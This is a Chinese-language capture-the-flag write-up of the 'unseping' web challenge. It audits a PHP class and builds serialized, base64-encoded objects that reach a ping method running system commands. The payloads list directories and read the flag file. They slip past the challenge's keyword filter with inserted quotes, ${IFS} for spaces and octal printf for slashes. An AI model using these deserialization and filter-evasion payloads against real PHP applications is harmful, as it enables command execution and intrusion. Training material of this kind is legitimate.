WEB:unseping

背景知识

        php序列化和反序列化

        命令执行绕过方式

题目

WEB:unseping_第1张图片

WEB:unseping_第2张图片

 进行代码审计

可知为反序列化

整体是创建case类,可接受post传来的ctf值

_consturuct函数,是在函数调动前启用,构造了$method和$args两个变量。

_dexstruct函数在变量摧毁的时使用,所以放在后面。该方法监测ping是否在method中,并调用了名为method的方法,且以数组

ping函数规定了可以调用系统命令。该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。

waf函数,过滤命令。在变量str中过滤掉\ &  \/ cat flag tac php ls命令。

_wakeup函数,反序列化,将args的值作为变量k赋值给变量v

上述所总,通过$method和_construct来调用构造的ping方法,通过$args作为输入口进行命令的输入

需要添加序列化

method = $method;
	    $this->args = $args;
	}
  
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

将ease实例化并赋值给变量a,变量a执行系统命令ls。并将a序列化然后赋值给b,输出b,并将b进行base64编码。

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}

 经过base64编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

ls会被过滤掉,有三种方法可以绕过过滤:

空的环境变量

单引号

双引号

将变量b进行编码后的数字用post方法传值得到

WEB:unseping_第3张图片发现一个文件夹为flag_1s_here

尝试用ls查看文件夹,但是空格会被过滤,可以使用变量${IFS}进行绕过

O:4:" ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:32:"l${Z}s${IFS}f${Z}lag_1${Z}s_here";}}

编码后为

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319

WEB:unseping_第4张图片

发现了一个带有flag的php文件,用cat抓取这个文件的源码就可获得flag,但是代码会过滤掉/,之前说的方法不适用于/。

flag,cat,flag,php都可以用双引号绕过,空格用IFS绕过,/要用printf及()绕过。

$(printf "\154\163")=ls

154转化为8进制转化为10进制后正好对应ascii的l

同样163后正好对应s。所以我们可以将cat flag_1s_here/flag_831b69012c67b35f.php先进行ascii编码后在进行8进制转化。

进行编码后

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

得到flag

WEB:unseping_第5张图片

 

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(unseping)-腾讯云开发者社区-腾讯云

攻防世界unseping_unseping攻防世界_花名咖啡的博客-CSDN博客

你可能感兴趣的:(攻防世界,前端,网络安全,web安全)